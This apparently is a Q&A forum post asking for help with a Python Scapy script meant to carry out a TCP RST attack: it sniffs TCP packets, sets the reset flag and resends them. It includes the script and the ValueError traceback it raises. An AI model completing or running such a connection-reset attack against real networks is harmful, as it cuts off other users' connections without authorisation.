title: Scapy TCP RST atack
body: <p>I tried to write TCP RST atack with Scapy,but my code doesn't work.Please,help me to solve my problem.</p>
  
  <pre><code>     from scapy.all import *
  
       def poison(packet):
           packet[TCP].flags='RST'
           sendp(packet)
  
       sniff(filter='tcp',prn=poison)
  </code></pre>
  
  <p>There's something wrong with <code>flags</code>,I think.There's an error:</p>
  
  <blockquote>
    <p>Traceback (most recent call last):<br>
    File "Univer.py", line 6, in
    
         sniff(filter='tcp',prn=poison)<br>
    File "/usr/lib/pymodules/python2.6/scapy/sendrecv.py", line 559, in sniff
         r = prn(p)<br>
    File "Univer.py", line 3, in poison
         packet[TCP].flags='RST'<br>
    File "/usr/lib/pymodules/python2.6/scapy/packet.py", line 186, in
    <strong>setattr</strong>
         self.setfieldval(attr,val)<br>
    File "/usr/lib/pymodules/python2.6/scapy/packet.py", line 175, in
    setfieldval
         self.fields[attr] = any2i(self, val)<br>
    File "/usr/lib/pymodules/python2.6/scapy/fields.py", line 785, in any2i
         y |= 1 &lt;&lt; self.names.index(i)</p>
    
    <p>ValueError: substring not found</p>
  </blockquote>